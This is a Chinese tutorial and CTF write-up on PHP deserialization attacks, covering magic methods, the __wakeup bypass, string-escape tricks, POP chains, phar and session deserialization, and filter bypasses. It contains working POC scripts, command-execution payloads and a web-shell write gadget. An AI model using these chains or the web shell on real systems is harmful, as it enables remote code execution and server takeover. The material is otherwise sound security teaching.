您好,登錄后才能下訂單哦!
本文小編為大家詳細介紹“PHP反序列化入門代碼實例分析”,內容詳細,步驟清晰,細節處理妥當,希望這篇“PHP反序列化入門代碼實例分析”文章能幫助大家解決疑惑,下面跟著小編的思路慢慢深入,一起來學習新知識吧。
php反序列化簡單理解
首先我們需要理解什么是序列化,什么是反序列化?
PHP序列化:serialize()
序列化是將變量或對象轉換成字符串的過程,用于存儲或傳遞 PHP 的值的過程中,同時不丟失其類型和結構。
PHP反序列化:unserialize()
反序列化是將字符串轉換成變量或對象的過程
通過序列化與反序列化我們可以很方便的在PHP中進行對象的傳遞。本質上反序列化是沒有危害的。但是如果用戶對數據可控那就可以利用反序列化構造payload攻擊。這樣說可能還不是很具體,舉個列子比如你網購買一個架子,發貨為節省成本,是拆開給你發過去,到你手上,然后給你說明書讓你組裝,拆開給你這個過程可以說是序列化,你組裝的過程就是反序列化
說這么多不如直接一點測試一下
php序列化的字母標識
a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string
N - NULL
測試一下
<?php
class TEST{
public $test1="11";
private $test2="22";
protected $test3="33";
public function test4()
{
echo $this->test1;
}
}
$a=new TEST();
echo serialize($a);
//O:4:"TEST":3:{s:5:"test1";s:2:"11";s:11:" TEST test2";s:2:"22";s:8:" * test3";s:2:"33";}
O代表類,然后后面4代表類名長度,接著雙引號內是類名
然后是類中變量的個數:{類型:長度:"值";類型:長度:"值"...以此類推}
protected 和private其實是有不可打印字符的,所以這里附上截圖
從圖中可以看到有幾個不可打印字符,關于這個還有一些特別的地方,和具體放在了后邊寫
有時候做題時為了防止傳參中有啥意外,一般就會urlencode一下
什么是魔術方法?
做php反序列化的題總會遇到魔術方法
其實就是一種特殊方法當對對象執行某些操作時會覆蓋 PHP 的默認操作
舉個例子如下,這里用常見的construct和destruct魔術方法,其實就是構造函數和析構函數
<?php
class A{
public $a="這里是__construct";
public function __construct()
{
echo $this->a;
}
public function __destruct()
{
echo $this->a="這里是__destruct";
}
}
$a=new A();
//輸出這里是construct這里是destruct
后邊的題中也會給一些測試魔術方法的例子
想買給出魔術方法觸發的情況,這對解題有很大幫助
__construct 當一個對象創建時被調用,
__destruct 當一個對象銷毀時被調用,
__toString 當一個對象被當作一個字符串被調用。
__wakeup() 使用unserialize時觸發
__sleep() 使用serialize時觸發
__destruct() 對象被銷毀時觸發
__call() 對不存在的方法或者不可訪問的方法進行調用就自動調用
__callStatic() 在靜態上下文中調用不可訪問的方法時觸發
__get() 用于從不可訪問的屬性讀取數據
__set() 在給不可訪問的(protected或者private)或者不存在的屬性賦值的時候,會被調用
__isset() 在不可訪問的屬性上調用isset()或empty()觸發
__unset() 在不可訪問的屬性上使用unset()時觸發
__toString() 把類當作字符串使用時觸發,返回值需要為字符串
__invoke() 當腳本嘗試將對象調用為函數時觸發
光看還是了解不夠,具體還得到親自嘗試才可以,下面我做了一些CTF題,在此分享給大家
簡單的反序列化題
題目來自[SWPUCTF 2021 新生賽]ez_unserialize
<?php
error_reporting(0);
show_source("cl45s.php");
class wllm{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}
$p = $_GET['p'];
unserialize($p);
?>
在construct方法里admin被賦值為user,passwd被賦值為123456,而在destruct方法需要把$this->admin === "admin" && $this->passwd === "ctf"
這個式子成立才能輸出flag
php反序列化是可以控制類方法的屬性但不能改類方法的代碼
于是我們直接更改就行,
<?php
class wllm{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="admin";
$this->passwd = "ctf";
}
}
$a=new wllm();
echo urlencode(serialize($a));
?>
然后傳參就行了,一般這里要url編碼一下,規避不可打印字符,前面我們提到private protected 屬性 序列化出來會有不可打印字符。
__wakeup繞過
這個其實是個CVE,CVE-2016-7124
影響版本php5<5.6.25,php7<7.010
簡單描述就是序列化字符串中表示對象屬性個數的值大于真實的屬性個數時會跳過__wakeup的執行
而魔術方法__wakeup執行unserialize()時,先會調用這個函數
寫個代碼本地測試一下
<?php
class A{
public $a;
public function __construct()
{
$this->a="觸發__construct";
}
public function __wakeup()
{
$this->a="觸發__wakeup";
}
public function __destruct()
{
echo $this->a;
}
}
$a=new A();
echo serialize($a);
O:1:"A":1:{s:1:"a";s:17:"觸發__construct";}
先正常序列化一下
反序列化一下,輸出觸發__wakeup
O:1:"A":2:{s:1:"a";s:17:"觸發__construct";}
把對象個數改為2
觸發__construct,繞過了wakeup
[極客大挑戰 2019]PHP __wakeup()繞過
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
看源碼我們需要password=100,username=admin,但反序列化過程中wakeup方法里會把username賦值為guest;
這里我們先生成一個對象,然后序列化并Url編碼,接著把它反序列化,var_dump一下看看
//$a=new Name('admin','100');
//echo urlencode(serialize($a));
//echo serialize($a);
$b="O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D";
var_dump(unserialize(urldecode($b)));
那么修改對象個數為大于2
得到flag
POC
<?php
class Name{
private $username = 'admin';
private $password = '100';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a=new Name('admin','100');
echo urlencode(serialize($a));
//echo serialize($a);
//O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
?>
反序列化逃逸問題
逃逸問題的本質是改變序列化字符串的長度,導致反序列化漏洞
所以會有兩種情況,一種是由長變短,一種是由短變長
由長變短
自己隨手寫個題測試下
<?php
highlight_file(__FILE__);
class A
{
public $a;
public $b;
public $c;
public function __construct()
{
$this->a=$_GET['a'];
$this->b="noflag";
$this->c=$_GET['c'];
}
public function check()
{
if ($this->b==="123")
{
echo "flag{123dddd}";
}
else if ($this->a==="test")
{
echo "give you flag";
}
else
{
echo "no flag";
}
}
public function __destruct()
{
$this->check();
}
}
$a=new A();
$b=serialize($a);
$c=str_replace("aa","b",$b);
unserialize($c);
這里本地寫一個測試簡單利用下,學會這個逃逸思路即可
$b=serialize($a);
echo $b;
$c=str_replace("aa","b",$b);
echo($c);
//O:1:"A":3:{s:1:"a";s:4:"aaaa";s:1:"b";s:6:"noflag";s:1:"c";s:2:"11";}
//O:1:"A":3:{s:1:"a";s:4:"bb";s:1:"b";s:6:"noflag";s:1:"c";s:2:"11";}
這里測試一下,很明顯可以看見4個aaaa 變成了兩個b,但s:4依然是四個字符串,a的值就相當于是從aaaa變成了bb";這樣,相當于往后吞噬掉了兩位,而這個題需要$b為123才能給flag,
$this->b="noflag";而這個已經給b賦值了,我們序列化出來可以看到s:1:"b";s:6:"noflag",之前可以看出,利用這個過濾可以吞噬掉后邊的序列化,那豈不是可以把后邊的都吞噬掉,然后根據序列化格式補全,依然可以正常的反序列化出來,把$b的值給覆蓋掉
開始構造
然后計算要吞噬掉多少位
print(len('";s:1:"b";s:6:"noflag";s:1:"c";s:3:'))
print(36*'aa')
//35
//aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
35個長度,構造出來肯定超過十個了,所以s:1的1會變成十位數,多出一位,所以要+1,用36個aa
a=36個aa,c=;s:1:"b";s:3:"123
這樣構造出來為
O:1:"A":3:{s:1:"a";s:72:"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:1:"b";s:6:"noflag";s:1:"c";s:17:";s:1:"b";s:3:"123";}
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:1:"b";s:6:"noflag";s:1:"c";s:17:
print(len('bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:1:"b";s:6:"noflag";s:1:"c";s:17:'))
剛好為72個,成功反序列化,得到flag
由短變長
index.php
<?php
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
highlight_file(FILE);
從題目注釋里可以找到message.php
message.php源碼
<?php
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
很明顯,要想得到flag要把token值更改為admin
但是正常反序列化,字符串個數是固定的,$umsg = str_replace('fuck', 'loveU', serialize($msg));但是這里fuck被替換為loveU,四個字符被替換成五個字符,簡單演示一下
<?php
class test
{
public $username="fuckfuck";
public $password;
}
$a=new test();
//echo serialize($a);
echo str_replace('fuck','loveU',serialize($a));
//O:4:"test":2:{s:8:"username";s:8:"fuckfuck";s:8:"password";N;}
//O:4:"test":2:{s:8:"username";s:8:"loveUloveU";s:8:"password";N;}
可以很明顯的看出來,s:8字符串應該是8個,替換后變為10個,因為有兩個fuck,這樣還看不出來什么,如果我們把多的字符串改為";s:5:"token";s:5:"admin";}而此時后面的";s:5:"token";s:4:"user";}這個就無效了
因為php在反序列化時,底層代碼是以;作為字段的分隔,以}作為結尾,并且是根據長度判斷內容的 ,同時反序列化的過程中必須嚴格按照序列化規則才能成功實現反序列化
偽造的序列化字符串變成真的了,偽造的序列化字符串長度為27,loveU比fuck多一位
那么需要27個fuck就行
payload
?f=1
&m=1
&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
然后訪問message.php即可 當然這個有非預期解,直接修改token值寫到cookie里就行,不過關鍵是了解到反序列化字符串逃逸問題的思路
POP鏈構造
做這種題關鍵是php魔術方法,構造PHP先找到頭部和尾部,頭部就是用戶可控的地方,也就是可以傳入參數的地方,然后找尾部,比如關鍵代碼,eval,file_put_contents這種,然后從尾部開始推導,根據魔術方法的特性,一步一步往上觸發,根據下面的題,來學習下
[SWPUCTF 2021 新生賽]pop
題目源碼
<?php
error_reporting(0);
show_source("index.php");
class w44m{
private $admin = 'aaa';
protected $passwd = '123456';
public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
$w00m = $_GET['w00m'];
unserialize($w00m);
?>
POP鏈入手,先找關鍵代碼,然后推斷
需要admin為w44m,passwd為08067 才能得到flag
if($this->admin === 'w44m' && $this->passwd ==='08067'){
echo $flag;
發現可以利用$this->w00m->{$this->w22m}();
這個地方,修改w22m=getflag,那么這個地方就有getflag()函數了
在類w22m中 方法__destruct中echo $this->w00m;echo了一個對象,會觸發tostring方法
前面魔術方法提到
__toString 當一個對象被當作一個字符串被調用。這樣的話我們便可以利用to_Sting方法里面的代碼了,傳參點是w00m,
鏈子構造為 w22m::__destruct->w33m::toString->w44m::getflag
poc如下,這里要用urlencode,因為我們前面提到private和protected生產序列化有不可見字符
<?php
class w44m{
private $admin = 'w44m';
protected $passwd = '08067';
}
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
class w33m{
public $w00m="";
public $w22m="getflag";
public function __toString(){
$this->w00m->{$this->w22m}();
return 1;
}
}
$a=new w22m();
$a->w00m=new w33m();
$a->w00m->w00m=new w44m();
echo urlencode( serialize($a));
?>
[NISACTF 2022]babyserialize
<?php
include "waf.php";
class NISA{
public $fun="show_me_flag";
public $txw4ever;
public function __wakeup()
{
if($this->fun=="show_me_flag"){
hint();
}
}
function __call($from,$val){
$this->fun=$val[0];
}
public function __toString()
{
echo $this->fun;
return " ";
}
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever);
}
}
class TianXiWei{
public $ext;
public $x;
public function __wakeup()
{
$this->ext->nisa($this->x);
}
}
class Ilovetxw{
public $huang;
public $su;
public function __call($fun1,$arg){
$this->huang->fun=$arg[0];
}
public function __toString(){
$bb = $this->su;
return $bb();
}
}
class four{
public $a="TXW4EVER";
private $fun='abc';
public function __set($name, $value)
{
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);
}
}
}
if(isset($_GET['ser'])){
@unserialize($_GET['ser']);
}else{
highlight_file(__FILE__);
}
//func checkcheck($data){
// if(preg_match(......)){
// die(something wrong);
// }
//}
//function hint(){
// echo ".......";
// die();
//}
?>
查看了一下提示發現什么也沒有
if(isset($_GET['ser'])){@unserialize($_GET['ser']);
這是頭部
這是尾部
public function __invoke(){checkcheck($this->txw4ever);@eval($this->txw4ever);
}
從__invoke()這里開始觸發
__invoke() 當腳本嘗試將對象調用為函數時觸發
return $bb()而這里有一個函數調用
那么$bb是class Nisa的對象就會調用 __invoke
觸發$bb要調用 __toString()
而__toString()是
當一個對象被當作一個字符串被調用。
找類似echo 這種代碼,而這里有個strtolower
strtolower是在set方法里的
__set觸發
在給不可訪問的(protected或者private)或者不存在的屬性賦值的時候,會被調用
在four類的中有private $fun='abc';
Ilovetxw類中的__call方法訪問了fun這個變量
function __call($from,$val){
$this->fun=$val[0];
}
而__call方法
對不存在的方法或者不可訪問的方法進行調用就自動調用
TianXiWei類中的wakeup會觸發call
$this->ext->nisa($this->x); nisa()這個方法并不存在
這里詳細說下
<?php
class nisa
{
public $b="";
}
class TianXiWei{
public $ext;
public $x;
public function __wakeup()
{
$this->ext->nisa($this->x);
}
}
class test
{
public $a ="";
public function __call($a,$b)
{
echo "call";
}
}
$a=new TianXiWei();
$a->ext=new test();
//echo urlencode(serialize($a));
echo serialize($a);//O:9:"TianXiWei":2:{s:3:"ext";O:4:"test":1:{s:1:"a";s:0:"";}s:1:"x";N;}
//echo serialize($a->ext);//O:4:"test":1:{s:1:"a";s:0:"";}
wakeup方法反序列化會觸發,而里面nisa方法并不存在,$a->ext=new test()這樣會觸發到call,在本地測試的時候這樣調用會echo call,另外我們可以看出序列化$a和$->ext是不一樣的結果
鏈子很清晰了
TianXiWei::__wakeup->Ilovetxw::__call->four::__set->Ilovetxw::__toString->NISA::__invoke
POC
<?php
class NISA
{
public $fun = "";
public $txw4ever = "sYstem('ls /');";//有過濾,大小寫繞過
}
class TianXiWei{
public $ext;
public $x;
}
class Ilovetxw{
public $huang;
public $su;
}
class four{
public $a="TXW4EVER";
private $fun='abc';
}
$a=new TianXiWei();//從這里下手觸發__wakeup
$a->ext=new Ilovetxw();//觸發__call
$a->ext->huang=new four();//觸發__set
$a->ext->huang->a=new Ilovetxw();//觸發__tosrting
$a->ext->huang->a->su=new NISA();//觸發__invoke
echo urlencode(serialize($a));
相信到這里,做這種題已經有一定思路了,不要著急,找到方向,然后一步一步去構造
phar反序列化
單的理解phar反序列化
phar是什么?
phar是php提供的一類文件的后綴名稱,也是php偽協議的一種。
phar可以干什么?
將多個php文件合并成一個獨立的壓縮包,相對獨立
不用解壓到硬盤就可以運行php腳本
支持web服務器和命令行運行
注意要將php.ini中的phar.readonly選項設置為Off,否則無法生成phar文件
phar文件的的結構
一個phar文件通常由四部分組成,
a stub:可以理解為一個標志,格式為xxx<?php xxx; __HALT_COMPILER();?>,前面內容不限,但必須以__HALT_COMPILER();?>來結尾,否則phar擴展將無法識別這個文件為phar文件。
a manifest describing the contents:phar文件本質上是一種壓縮文件,其中每個被壓縮文件的權限、屬性等信息都放在這部分。這部分還會以序列化的形式存儲用戶自定義的meta-data,這是上述攻擊手法最核心的地方。
the file contents:被壓縮文件的內容。這里不是重點,內容不影響
[optional] a signature for verifying Phar integrity (phar file format only):簽名,放在文件末尾
<?php
class Test {//自定義
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后綴名必須為phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //設置stub
$o = new Test();
$phar->setMetadata($o); //將自定義的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要壓縮的文件
//簽名自動計算
$phar->stopBuffering();
?>
生成一個phar.phar文件
拉進010分析
可以清楚看到一個標識符,一個序列化,一個文件名
有序列化數據必然會有反序列化操作 ,php一大部分的文件系統函數 通過phar://偽協議解析phar文件時,都會將meta-data進行反序列化 ,受影響的函數如下
is_dir(),is_file(),is_link(),copy(),file(),stat(),readfile(),unlink(),filegroup(),fileinode(),fileatime(),filectime(),fopen(),filemtime(),fileowner(),fileperms(),file_exits(),file_get_contents(),file_put_contents(),is_executable(),is_readable(),is_writable(),parse_ini_file
<?php
highlight_file(__FILE__);
class Test {//自定義
public $name='phpinfo();';
}
$phar=new phar('rce.phar');
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o=new Test();
$phar->setMetadata($o);
$phar->addFromString("flag.txt","flag");//添加要壓縮的文件
//簽名自動計算
$phar->stopBuffering();
?>
這里用file_get_contents測試下
<?php
class test{
public $name='';
public function __destruct()
{
eval($this->name);
}
}
echo file_get_contents('phar://rce.phar/flag.txt');
?>
漏洞利用條件
phar文件要能夠上傳到服務器端。
要有可用的魔術方法作為“跳板”。
文件操作函數的參數可控,且:、/、phar等特殊字符沒有被過濾。
姿勢
compress.bzip://phar:///test.phar/test.txt compress.bzip2://phar:///test.phar/test.txt compress.zlib://phar:///home/sx/test.phar/test.txt php://filter/resource=phar:///test.phar/test.txt
php://filter/read=convert.base64-encode/resource=phar://phar.phar
可以用于文件上傳,有文件上傳頭限制,還可以這樣,例如GIF
$phar->setStub(“GIF89a”."<?php __HALT_COMPILER(); ?>"); //設置stub 這樣可以生成一個phar.phar,修改后綴名為phar.gif
[SWPUCTF 2021 新生賽]babyunser phar反序列化
查看class.php獲取源碼
<?php
class aa{
public $name;
public function __construct(){
$this->name='aa';
}
public function __destruct(){
$this->name=strtolower($this->name);
}
}
class ff{
private $content;
public $func;
public function __construct(){
$this->content="<?php @eval($_POST[1]);?>";
}
public function __get($key){
$this->$key->{$this->func}($_POST['cmd']);
}
}
class zz{
public $filename;
public $content='surprise';
public function __construct($filename){
$this->filename=$filename;
}
public function filter(){
if(preg_match('/^/|php:|data|zip|..//i',$this->filename)){
die('這不合理');
}
}
public function write($var){
$filename=$this->filename;
$lt=$this->filename->$var;
//此功能廢棄,不想寫了
}
public function getFile(){
$this->filter();
$contents=file_get_contents($this->filename);
if(!empty($contents)){
return $contents;
}else{
die("404 not found");
}
}
public function __toString(){
$this->{$_POST['method']}($_POST['var']);
return $this->content;
}
}
class xx{
public $name;
public $arg;
public function __construct(){
$this->name='eval';
$this->arg='phpinfo();';
}
public function __call($name,$arg){
$name($arg[0]);
}
}
<?php
error_reporting(0);
$filename=$_POST['file'];
if(!isset($filename)){
die();
}
$file=new zz($filename);
$contents=$file->getFile();
?>
<br>
<textarea class="file_content" type="text" value=<?php echo "<br>".$contents;?>
構造鏈子
先找到關鍵的代碼$this->$key->{$this->func}($_POST['cmd']);,通過這個可以構造命令執行,所以要想辦法觸發__get($key),
__get() 用于從不可訪問的屬性讀取數據,ff類的 private $content;是不可訪問的屬性
訪問content可以觸發get() ,而aa::destruct方法里面有$this->name=strtolower($this->name),strtolower這個函數之前提到,可以觸發tostring,利用它去觸發zz::_tostring方法,利用方法里的$this->{$POST['method']}($_POST['var']);去構造method=write&var=content,
aa::destruct()->zz::toString()->zz::write->xx->ff::__get()
看著好奇怪,為什么要用write去這樣鉤爪,因為__get()觸發需要,構造write函數進行訪問content成員,不僅要用這個屬性去new一個對象,還要對它進行訪問
如下代碼進行測試
<?php
class test
{
private $a;
public $b;
public function __construct($a,$b)
{
$this->a="aaa";
$this->b="bbb";
}
public function __get($name)
{
// TODO: Implement __get() method.
$this->a="__get";
$this->b="111";
}
public function __destruct()
{
echo $this->a;
echo $this->b;
}
}
$a =new test("s","s");
//echo $a->a;
$b=serialize($a);
unserialize($b);
注釋掉echo 輸出是aaabbbaaabbb
去掉注釋輸出是get111get111
如此那么構造POP鏈子
<?php
class aa{
public $name;
}
class ff{
private $content;
public $func;
public function __construct(){
$this->content=new xx();//這里New xx
}
}
class zz{
public $filename;
public $content;
}
class xx
{
public $name;
public $arg;
}
$a=new aa();
$c=new ff();
$a->name=new zz();
$c->func="system";
$a->name->filename=$c;
$phar = new Phar("flag.phar"); //后綴名必須為phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //設置stub
//$o = new Test();
$phar->setMetadata($a); //將自定義的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要壓縮的文件
//簽名自動計算
$phar->stopBuffering();
上傳之后使用phar協議讀取
file=phar://upload%2Fab83ba92f17bf9599f4bfc31f92811f2.txt&method=write&var=content&cmd=cat /flag
session反序列化
session與cookie很像,都是客戶端與服務端會話時,用戶的標識, PHP session 解決了這個問題,它通過在服務器上存儲用戶信息以便隨后使用(比如用戶名稱、購買商品等)。然而,會話信息是臨時的,在用戶離開網站后將被刪除。如果您需要永久存儲信息,可以把數據存儲在數據庫中。
而session是以文件方式存儲的
直接找一道題做做
題目來自ctfshowWEB263
打開是一個登錄頁面,用目錄掃描掃一下,這里我用的是dirsearch
dirsearch -u "http://4b00e046-35c4-458d-93e7-e3ff83049288.challenge.ctf.show/" -e*
存在源碼泄露,訪問www.zip,下載下來源碼,關鍵代碼
index.php源碼
*/
error_reporting(0);
session_start();
//超過5次禁止登陸
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陸失敗次數超過限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
setcookie("limit",base64_encode('1'));
$_SESSION['limit']= 1;
}
?>
check.php源碼
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h2xa
# @Date: 2020-09-03 16:59:10
# @Last Modified by: h2xa
# @Last Modified time: 2020-09-06 19:15:38
# @email: h2xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
require_once 'inc/inc.php';
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);
if($GET){
$data= $db->get('admin',
[ 'id',
'UserName0'
],[
"AND"=>[
"UserName0[=]"=>$GET['u'],
"PassWord1[=]"=>$GET['pass'] //密碼必須為128位大小寫字母+數字+特殊符號,防止爆破
]
]);
if($data['id']){
//登陸成功取消次數累計
$_SESSION['limit']= 0;
echo json_encode(array("success","msg"=>"歡迎您".$data['UserName0']));
}else{
//登陸失敗累計次數加1
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);
echo json_encode(array("error","msg"=>"登陸失敗"));
}
}
inc.php中有一個這個
ini_set('session.serialize_handler', 'php');
而session存儲格式(序列化)其中有這兩種
ini_set('session.serialize_handler', 'php');
ini_set('session.serialize_handler', ' php_serialize ');
測試一下看這兩個什么區別
<?php
ini_set('session.serialize_handler','php');
session_start();
class test1{
public $a="test";
}
$a=new test1();
$_SESSION['user']=$a;
在tmp下找到這個文件打開看是
user|O:5:"test1":1:{s:1:"a";s:4:"test";}
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
class test1{
public $a="test";
}
$a=new test1();
$_SESSION['user']=$a;
a:1:{s:4:"user";O:5:"test1":1:{s:1:"a";s:4:"test";}}
兩種方式的區別主要是“|”符號,在php機制中,只會序列化“|”符號后面的內容
inc.php中關鍵代碼
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陸".($this->status?"成功":"失敗")."----".date_create()->format('Y-m-d H:i:s'));
}
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陸".($this->status?"成功":"失敗")."----".date_create()->format('Y-m-d H:i:s'));
}
可以利用這個函數寫一句話木馬
而session_start() 函數會解析 session 文件,就相當于進行了反序列化,session值我們是可控的,這樣的話反序列化有了,只要構造出序列化字符串觸發 User類 的 __destruct方法就可以了
<?php
class User
{
public $username;
public $password;
function __construct($username, $password)
{
$this->username = $username;
$this->password = $password;
}
}
$a=new User('1.php','<?php eval($_POST["1"]);?>');
echo base64_encode("|".serialize($a));
訪問的時候文件名是log-拼接,所以是log-1.php,index.php里面三元條件運算符:$SESSION['limti']>5?die("登陸失敗次數超過限制"):$SESSION['limit']=base64_decode($_COOKIE['limit')
第一個式子不成立,則執行$SESSION['limit']=base64_decode($COOKIE['limit'),因為有base64_decode,所以這里我們還有base64_encode一下
抓包改limit值
然后發包,接著訪問check.php 實現反序列化shell的寫入
然后變更請求方法,注意直接右鍵選擇變更POST請求
tricks總結
16進制繞過字符過濾
//O:1:"A":1:{s:2:"ab";s:4:"test";}
//O:1:"A":1:{S:2:"61b";s:4:"test";}//s改為大寫S會被當成16進制解析 //61是a的16進制
php類名對大小寫不敏感
<?php
highlight_file(__FILE__);
include('flag.php');
$cs = file_get_contents('php://input');
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}
很明顯是觸發析構函數就得到了flag,但是有過濾,如果匹配到了ctfshow就拋異常,
這題用到的知識點是PHP類名對大小寫不敏感,可以清楚看到過濾并沒有過濾大小寫
直接這樣
$cs = file_get_contents('php://input');
采用php偽協議傳參
直接提交POST數據就行
<?php
class cTfshow
{
}
$a=new cTfshow();
echo (serialize($a));
+號繞過
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
可見增加了過濾,過濾例如如下o:123:、c:456:
s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:0;s:5:"class";O:8:"backDoor":1:{s:4:"code";s:10:"phpinfo();";}}phpinfo()
正常反序列化肯定會有o和c這種
如果O:后面不跟數字的話就可以把這個繞過去了
這里可以用+號,具體原因是跟PHP底層代碼有關,+號判斷也是可以正常的反序列化的
這里把O:后面加上一個加號
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new backDoor();
}
public function __destruct(){
$this->class->getInfo();
}
}
class backDoor{
public $code="phpinfo();";
public function getInfo(){
eval($this->code);
}
}
$a=new ctfShowUser();
//echo urlencode(serialize($a));
$a=serialize($a);
$a=preg_replace('/[oc]+:/i','O:+',$a);
echo urlencode($a);
利用&使兩值恒等
<?php
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}
$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());
if($ctfshow->login()){
echo $flag;
}
$ctfshow->login()這個成立才給flag
$ctfshow->token=md5(mt_rand());但是這個是隨機的
這個題考察php按地址傳參
<?php
$a='11';
$b=&$a;
$b=1;
echo $a;//$b被賦值的是變量a的地址,php是按地址傳參,a的值會隨b值變化
//1
所以我們可以直接這樣
<?php
class ctfshowAdmin{
public $token;
public $password;
public function __construct(){
$this->password = &$this->token;
}
}
$a=new ctfshowAdmin();
echo ( urlencode(serialize($a)));
php7.1+反序列化對類屬性不敏感
題目來自[網鼎杯 2020 青龍組]AreUSerialz
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
